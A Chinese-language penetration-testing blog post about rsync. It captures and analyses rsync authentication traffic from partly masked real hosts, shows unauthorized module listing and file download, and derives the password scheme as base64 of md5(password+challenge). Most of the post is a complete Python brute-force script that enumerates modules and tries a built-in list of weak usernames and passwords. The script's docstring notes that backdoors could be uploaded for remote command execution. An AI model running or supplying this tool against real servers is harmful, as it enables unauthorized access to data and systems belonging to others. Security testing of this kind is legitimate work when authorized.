某次渗透中遇到了rsync,是带密码的,虽然已经有爆破脚本了(例如cdxy前辈在POC-T框架中写的这一个),但前辈的脚本是py2的, 于是想着改写成py3,没想到还顺便分析了一下rsync的认证方式。下面就简单记录一下

流量分析

tcpdump -i eth0  net 47.*.*.142  -w access_denied.pcap  -v
                                                                 
            网卡          ip                 指定写入文件的路径

使用上面的命令抓包,分析一下连接rsync时的流量信息, 发现在正常返回rsync版本信息后, 无非这么几种可能性: 数据为空、限制访问IP、未授权下载、需要密码访问,下面逐个进行分析

1. 数据为空.

建立TCP连接后, 服务器首先响应版本信息, 后续无路径或其它信息.

命令行如下

$ rsync  rsync://222.*.*.163
welcome to zckj ECG service!
$ rsync  rsync://222.*.*.163/
welcome to zckj ECG service!

对应的流量信息如下图

2. 限制访问IP

服务器对连接rsync服务的IP做了限制,提示@ERROR: access denied

命令行如下

$ rsync  rsync://47.*.*.142/
++++++++++++++++++++++++++++++++++++++++++++++
Welcome to use the posweb2 rsync services!
+++++++++++++++++++++++++++++++++++++++++++++
rhel4test      	
interface      	
default        	
posweb2        	
$ rsync  rsync://47.*.*.142/default
++++++++++++++++++++++++++++++++++++++++++++++
Welcome to use the posweb2 rsync services!
+++++++++++++++++++++++++++++++++++++++++++++
@ERROR: access denied to default from unknown (x.x.x.x)
rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2]

对应的数据包如图

3. 未授权(查看/下载)文件

无需密码即可查看或下载文件

命令行如下:

rsync  rsync://182.*.*.105/ftp/lnmp/js/cross_framing_protection.js -av cross_framing_protection.js
   rsync  rsync://182.*.*.105/
   rsync  rsync://182.*.*.105/frp/
   rsync  rsync://182.*.*.105/ftp/

服务器返回版本信息后, 后续有文件的路径信息. 还有一些rsync服务器本身的信息

这里补充一下cross_framing_protection.js的内容

/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Conditionally included if framing is not allowed
 */
if (self == top) {
    var style_element = document.getElementById("cfs-style");
    style_element.parentNode.removeChild(style_element);
} else {
    top.location = self.location;
}

4. 需要密码才能访问文件

访问文件需要密码. 此处以某个需要密码rsync的服务器为例, 登录需要密码, 为了分析它密码的传输方式, 我们输入123123456

$ rsync  rsync://115.*.*.9/            
nagios         	
pxe            	
iso            	
ks             	
$ rsync  rsync://115.*.*.9/ks
Password: 123
@ERROR: auth failed on module ks
rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2]
$ rsync  rsync://115.*.*.9/ks
Password: 123456
@ERROR: auth failed on module ks
rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2]
//后面又输入了两次`123456`

对应的数据包信息如下图

为了方便各位分析它的加密方式,我这里也是将其拷贝到下面。

# 123
@RSYNCD: AUTHREQD +5i4JUkz2ILcsstkVvq+pw
root rzSmBKOaIrWVeeAqD9y3Qg
# 123456  [1]
@RSYNCD: AUTHREQD kr226cbR33Kp7oa/mBkD8Q
root sJO2OqB/FrX2AdzExhXRVg
# 123456  [2]
@RSYNCD: AUTHREQD 4zEjkjnHgAohsbmcGWDAIew
root ZQHyePox75RGlDOiSjWyyg
# 123456  [3]
@RSYNCD: AUTHREQD rmTUiaJNQD/5zenMBaiGuA
root gxAlH3oiZ1CgibVelnHanA

那么我们来分析一下rsync密码的加密方式。

加密方式分析

通过相关资料我们了解到, rsync采用的是md5加密,

最终通过抓包分析, 确定rsync 31.0版本也是采用的md5 challenge加密, 跟30.0一样

拿到了原文和发送过程中的密文,就可以着手分析加密方式了, 经过分析, 其实加密方式不难

# 最终密码的表达式
sentPassword = base64(md5(password+challenge))

爆破脚本

核心代码如下:代码已经上传至github, 地址: https://github.com/hi-unc1e/some_scripts/blob/master/EXPs/rsync_weakpass.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''rsync弱口令扫描.
rsync存在弱密码. PoC将在msg里输出 【未授权访问的文件夹、账号、密码】。 rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。
'''
# 版权信息
__author__ = "cdxy https://github.com/Xyntax"
__reference__ = "https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/rsync-weakpass.py"
__modifiedby__ = "unc1e"
import socket
import struct
import hashlib
import base64
import signal
# 账号密码
USER_LIST = ['root', 'Administrator', 'rsync', 'user', 'test']
PASS_LIST = ['', 'password', '123456', '12345678', 'qwerty', 'admin123', 'test123', '123456789']
# USER_LIST = ['root']
def initialisation(ip, port):
    '''
        初始化并获得版本信息,每次会话前都要发送版本信息
    '''
    try:
        flag = False
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(8)
        rsync = {"MagicHeader": "@RSYNCD:", "HeaderVersion": " 30.0"}
        payload = struct.pack("!8s5ss", rsync["MagicHeader"].encode("utf-8"), rsync["HeaderVersion"].encode("utf-8"), "\n".encode("utf-8"))  # init
        port = int(port)
        s.connect((ip, port))
        s.send(payload)
        data = s.recv(1024)
        # reply = struct.unpack('!8s5ss', data)
        reply = data.decode()
        if ("RSYNCD" in reply):
            flag = True
            version = reply.split(' ')[1].strip()#31.0 
            rsynclist = ClientQuery(s)  # 查询模块名
        if flag:
            return True, "@RSYNCD:", version, rsynclist
    except Exception as e:
        print('[-]rsync weakpass not found (brute failed)(%s)' % str(e))
def ClientQuery(socket_pre):
    '''
        查询所有的模块名
        @return module name
    '''
    s = socket_pre
    payload = struct.pack("!s", "\n".encode('utf-8'))  # query
    modulelist = []
    try:
        s.send(payload)
        while True:
            data = s.recv(1024)  # Module List lenth 17
            moduletemp = struct.unpack("!" + str(len(data)) + "s", data)
            modulename = moduletemp[0].decode().replace(" ", "").split("\n")
            for i in range(len(modulename)):
                realname = modulename[i].split("\t")
                if realname[0] != "":
                    modulelist.append(realname[0])
            if modulename[-2] == "@RSYNCD:EXIT":
                break
    except Exception as e:
        print(e)
        s.close()
    s.close()
    return modulelist
def ClientCommand(ip, port, cmd):
    '''爆破密码的封装方法
    '''
    rsync = {"MagicHeader": "@RSYNCD:", "HeaderVersion": " 30.0"}
    payload1 = struct.pack("!8s5ss", rsync["MagicHeader"].encode("utf-8"), rsync["HeaderVersion"].encode("utf-8"), "\n".encode("utf-8"))
    # payload2 = struct.pack("!%ss" % (len(cmd)+1), cmd.encode("utf-8")+'\n'.encode("utf-8") )
    payload2 = cmd.encode("utf-8")+'\n'.encode("utf-8") 
    pass_list = []
    for i in USER_LIST:
        pass_list.append((i, i))
        for j in PASS_LIST:
            pass_list.append((i, j))
    for useri, pwdj in pass_list:
        try:
            user = useri.encode("utf-8")
            password = pwdj.encode("utf-8")
            # debug("try: %s,%s" %(useri,pwdj))
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            port = int(port)
            s.connect((ip, port))
            # step1 get version and init
            s.send(payload1)
            s.recv(1024)  # data  @RSYNCD: AUTHREQD 9moobOy1VMjNAU/D4PB35g
            # send cmd and generate the challenge code
            s.send(payload2)  # send client query
            data = s.recv(1024)  # data  @RSYNCD: AUTHREQD 9moobOy1VMjNAU/D4PB35g
            challenge = data[18:-1]  # get challenge code
            # encrypt and generate the payload3
            md = hashlib.md5()
            md.update(password)
            md.update(challenge)
            auth_send_data = base64.encodestring(md.digest())
            payload3 = "%s %s\n" % (user.decode(), auth_send_data[:-3].decode())
            payload3 = payload3.encode()
            s.send(payload3)
            data3 = s.recv(1024)  # @RSYNCD: OK
            s.close()
            if 'OK' in data3.decode():
                state = 1
                if password == '':
                    msg = "Module:'%s' User/Password:%s/<empty>" % (cmd, user)
                else:
                    msg = "Module:'%s' User/Password:%s/%s" % (cmd, user, password)
                return state, msg 
            else:
                continue
        # try next user-pwd pair            
        except Exception as e:
            # print('[-]rsync weakpass not found (brute failed)(%s)' % str(e))
            s.close()
            break
    state = 0
    msg = '[-]rsync weakpass not found (brute failed)'
    return state, msg 
def run(args):
    msg = ''
    state = 0
    # param init
    try:
        ip = args.get('ip')
        port = args.get("port", '873')
    except Exception as e:
        state = 0
        msg = '[-]parse ip/port error(%s)' % str(e)
        result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
        return result      
    try:
        res = initialisation(ip, port)
        # (True, '@RSYNCD:', ' 31.0', ['share', '@RSYNCD:EXIT'])
        if res[0]:
            if res[2] < "30.0":  # 判断版本, 不兼容<30.0版本的登录方式
                state = 0
                msg = '[-]version not support'
                result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
                return result    
            for i in range(len(res[3]) - 1):
                state, msg = ClientCommand(ip, port, res[3][i])
                if 'Module:' in msg:
                    msg += msg
                else:
                    msg = "[-]No Module Available"
            
            result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
            return result
        else:
            state = 0
            msg = '[-]version not support'
            result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
            return result    
    except Exception as e:
        state = 0
        msg = '[-]vuln not found, error:(%s)' % str(e)
        result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
        return result       
if __name__ == '__main__':
    '''在这里填写爆破的目标信息
    '''
    ip = '127.0.0.1'
    port = '873'
    args = {'ip': ip, 'port': port}
    res = run(args)
    print(res)
    # {'ip': '127.0.0.1', 'port': '873', 'state': 1, 'msg': "Module:'Config' User/Password:b'rsync'/b'123456'Module:'Config' User/Password:b'rsync'/b'123456'"}